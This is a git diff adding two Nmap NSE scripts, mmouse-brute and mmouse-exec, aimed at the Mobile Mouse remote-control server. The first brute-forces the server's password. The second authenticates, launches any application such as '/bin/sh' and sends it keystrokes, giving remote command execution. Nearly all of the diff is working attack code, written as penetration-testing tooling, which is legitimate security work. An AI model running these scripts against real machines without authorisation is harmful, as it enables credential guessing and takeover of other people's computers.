diff --git a/CHANGELOG b/CHANGELOG
index 60acc4339..58e81fb10 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,5 +1,12 @@
# Nmap Changelog ($Id$); -*-text-*-
+o [NSE] Added the script mmouse-exec that connects to a Mobile Mouse server,
+ starts an application, and sends a sequence of keystrokes to it. [Patrik
+ Karlsson]
+
+o [NSE] Added the script mmouse-brute that performs brute force password
+ auditing against the Mobile Mouse service. [Patrik Karlsson]
+
o [NSE] Added the script cups-queue-info that lists the contents of a remote
CUPS printer queue. [Patrik Karlsson]
diff --git a/nmap-service-probes b/nmap-service-probes
index 0dfce7b8f..fdcd73db2 100644
--- a/nmap-service-probes
+++ b/nmap-service-probes
@@ -8338,6 +8338,8 @@ match printer m|^Invalid protocol request \(71\): GGET / HTTP/1\.0\r\n\n$| p/Sun
match zftp-admin m|^220 \.\r\n500 ' / HTTP/1\.0': command not understood\.\r\n| p/zFTPServer ftpd admin/
+match mmouse m|^HTTP/1\.0\x20200\x20OK\x20\n\x20Server:\x20Mobile\x20Air\x20Mouse\x20Server\x20\n\x20Content-Type:\x20text/html\x20\n\x20Content-Length:\x20344\n\n
Success!
The\x20Mobile\x20Air\x20Mouse\x20server\x20running\x20on\x20\"([^\"]*)\"\x20was\x20able\x20to\x20receive\x20your\x20request\.
$| i/server name: $1/
+
# Know the device, but not the service. Port 515.
# match unknown m|^\x02| p/Conceptronics CPSERVU print server/ d/print server/
diff --git a/scripts/mmouse-brute.nse b/scripts/mmouse-brute.nse
new file mode 100644
index 000000000..4c89475f6
--- /dev/null
+++ b/scripts/mmouse-brute.nse
@@ -0,0 +1,109 @@
+description = [[
+Performs brute force password auditing against the RPA Tech Mobile Mouse
+Server.
+]]
+
+---
+-- @usage
+-- nmap --script mobilemouse-brute -p 51010
+--
+-- @output
+-- PORT STATE SERVICE
+-- 51010/tcp open unknown
+-- | mmouse-brute:
+-- | Accounts
+-- | vanilla - Valid credentials
+-- | Statistics
+-- |_ Performed 1199 guesses in 23 seconds, average tps: 47
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+local shortport = require('shortport')
+local brute = require('brute')
+
+local arg_timeout = stdnse.get_script_args(SCRIPT_NAME .. ".timeout") or 5000
+
+portrule = shortport.port_or_service(51010, "mmouse", "tcp")
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = { host = host, port = port }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function( self )
+ self.socket = nmap.new_socket()
+ self.socket:set_timeout(arg_timeout)
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ login = function( self, username, password )
+ local devid = "0123456789abcdef0123456789abcdef0123456"
+ local devname = "Lord Vaders iPad"
+ local suffix = "2".."\30".."2".."\04"
+ local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
+
+ local status = self.socket:send(auth)
+ if ( not(status) ) then
+ local err = brute.Error:new( "Failed to send data to server" )
+ err:setRetry( true )
+ return false, err
+ end
+
+ local status, data = self.socket:receive_buf("\04", true)
+
+ if (data:match("^CONNECTED\30([^\30]*)") == "NO" ) then
+ return false, brute.Error:new( "Incorrect password" )
+ elseif ( data:match("^CONNECTED\30([^\30]*)") == "YES" ) then
+ return true, brute.Account:new("", password, creds.State.VALID)
+ end
+
+ local err = brute.Error:new("An unexpected error occured, retrying ...")
+ err:setRetry(true)
+ return false, err
+ end,
+
+ disconnect = function(self)
+ self.socket:close()
+ end,
+
+}
+
+local function hasPassword(host, port)
+ local driver = Driver:new(host, port)
+ if ( not(driver:connect()) ) then
+ error("Failed to connect to server")
+ end
+ local status = driver:login(nil, "nmap")
+ driver:disconnect()
+
+ return not(status)
+end
+
+
+action = function(host, port)
+
+ if ( not(hasPassword(host, port)) ) then
+ return "\n Server has no password"
+ end
+
+ local status, result
+ local engine = brute.Engine:new(Driver, host, port )
+
+ engine.options.script_name = SCRIPT_NAME
+ engine.options.firstonly = true
+ engine.options:setOption( "passonly", true )
+
+ -- mouse server does not behave well when multiple threads are guessing
+ engine:setMaxThreads(1)
+
+ status, result = engine:start()
+
+ return result
+end
\ No newline at end of file
diff --git a/scripts/mmouse-exec.nse b/scripts/mmouse-exec.nse
new file mode 100644
index 000000000..ca2e7330f
--- /dev/null
+++ b/scripts/mmouse-exec.nse
@@ -0,0 +1,168 @@
+description = [[
+Connects to the mobile mouse server, starts an application and sends a sequence
+of keys to it. Any application that the user has access to can be started and
+the key sequence is sent to the application after it has been started.
+]]
+
+---
+-- @usage
+-- nmap -p 51010 --script mmouse-exec \
+-- --script-args application='/bin/sh',keys='ping -c 5 127.0.0.1'
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 51010/tcp open unknown syn-ack
+-- | mmouse-exec:
+-- |_ Attempted to start application "/bin/sh" and sent "ping -c 5 127.0.0.1"
+--
+-- @args mmouse-exec.password The password needed to connect to the mobile
+-- mouse server
+-- @args mmouse-exec.application The application which is to be started at the
+-- server
+-- @args mmouse-exec.keys The key sequence to send to the started application
+-- @args mmouse-exec.delay Delay in seconds to wait before sending the key
+-- sequence. (default: 3 seconds)
+--
+
+author = "Patrik Karlsson"
+categories = {"intrusive"}
+dependencies = {"mmouse-brute"}
+
+local shortport = require('shortport')
+local creds = require('creds')
+
+local arg_password = stdnse.get_script_args(SCRIPT_NAME .. '.password')
+local arg_app = stdnse.get_script_args(SCRIPT_NAME .. '.application')
+local arg_keys = stdnse.get_script_args(SCRIPT_NAME .. '.keys')
+local arg_delay = stdnse.get_script_args(SCRIPT_NAME .. '.delay') or 3
+
+portrule = shortport.port_or_service(51010, "mmouse", "tcp")
+
+local function receiveData(socket, cmd)
+ local status, data = ""
+ repeat
+ status, data = socket:receive_buf("\04", true)
+ if ( not(status) ) then
+ return false, "Failed to receive data from server"
+ end
+ until( cmd == nil or data:match("^" .. cmd) )
+ return true, data
+end
+
+local function authenticate(socket, password)
+ local devid = "0123456789abcdef0123456789abcdef0123456"
+ local devname = "Lord Vaders iPad"
+ local suffix = "2".."\30".."2".."\04"
+ local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
+
+ local status = socket:send(auth)
+ if ( not(status) ) then
+ return false, "Failed to send data to server"
+ end
+
+ local status, data = receiveData(socket)
+ if ( not(status) ) then
+ return false, "Failed to receive data from server"
+ end
+
+ local success, os = data:match("^CONNECTED\30([^\30]*)\30([^\30]*)")
+
+ if ( success == "YES" ) then
+ if ( os ~= 'MAC' ) then
+ return false, "Non MAC platform detected, script has only been tested on MAC"
+ end
+ if ( not(socket:send("SETOPTION\30PRESENTATION\30".."1\04")) ) then
+ return false, "Failed to send request to server"
+ end
+ if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then
+ return false, "Failed to send request to server"
+ end
+ return true
+ end
+ return false, "Authentication failed"
+end
+
+local function processSwitchMode(socket, swmode)
+ local m, o, a1, a2, p = swmode:match("^(.-)\30(.-)\30(.-)\30(.-)\30(.-)\04$")
+ if ( m ~= "SWITCHMODE") then
+ print("lklklk", m, o)
+ return false, "Failed to parse SWITCHMODE"
+ end
+
+ local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2)
+ local status = socket:send(str)
+ if ( not(status) ) then
+ return false, "Failed to send data to server"
+ end
+ return true
+end
+
+local function executeCmd(socket, app, keys)
+ local exec = ("SENDPROGRAMACTION\30RUN\30%s\04"):format(app)
+ local status = socket:send(exec)
+ if ( not(status) ) then
+ return false, "Failed to send data to server"
+ end
+
+ local status, data = receiveData(socket)
+ if ( not(status) ) then
+ return false, "Failed to receive data from server"
+ end
+
+ if ( arg_delay ) then
+ stdnse.sleep(tonumber(arg_delay))
+ end
+
+ if ( keys ) then
+ local cmd = ("KEYSTRING\30%s\n\04"):format(keys)
+ if ( not(socket:send(cmd)) ) then
+ return false, "Failed to send data to the server"
+ end
+ end
+ return true
+end
+
+local function fail(err) return ("\n ERROR: %s"):format(err or "") end
+
+action = function(host, port)
+
+ local c = creds.Credentials:new(creds.ALL_DATA, host, port)
+ local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
+ local password = arg_password or (credentials and credentials.pass) or ""
+
+ if ( not(arg_app) ) then
+ return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME))
+ end
+
+ if ( not(arg_keys) ) then
+ return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME))
+ end
+
+ local socket = nmap.new_socket()
+ socket:set_timeout(10000)
+ local status, err = socket:connect(host, port)
+ if ( not(status) ) then
+ return fail("Failed to connect to server")
+ end
+
+ status, err = authenticate(socket, password)
+ if ( not(status) ) then
+ return fail(err)
+ end
+
+ local data
+ status, data = receiveData(socket, "SWITCHMODE")
+ if ( not(status) ) then
+ return fail("Failed to receive expected response from server")
+ end
+
+ if ( not(processSwitchMode(socket, data)) ) then
+ return fail("Failed to process SWITCHMODE command")
+ end
+
+ if ( not(executeCmd(socket, arg_app, arg_keys)) ) then
+ return fail("Failed to execute application")
+ end
+
+ return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys)
+end
\ No newline at end of file
diff --git a/scripts/script.db b/scripts/script.db
index 337492164..c9df20254 100644
--- a/scripts/script.db
+++ b/scripts/script.db
@@ -202,6 +202,8 @@ Entry { filename = "membase-brute.nse", categories = { "brute", "intrusive", } }
Entry { filename = "membase-http-info.nse", categories = { "discovery", "safe", } }
Entry { filename = "memcached-info.nse", categories = { "discovery", "safe", } }
Entry { filename = "metasploit-xmlrpc-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "mmouse-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "mmouse-exec.nse", categories = { "intrusive", } }
Entry { filename = "modbus-discover.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "mongodb-brute.nse", categories = { "brute", "intrusive", } }
Entry { filename = "mongodb-databases.nse", categories = { "default", "discovery", "safe", } }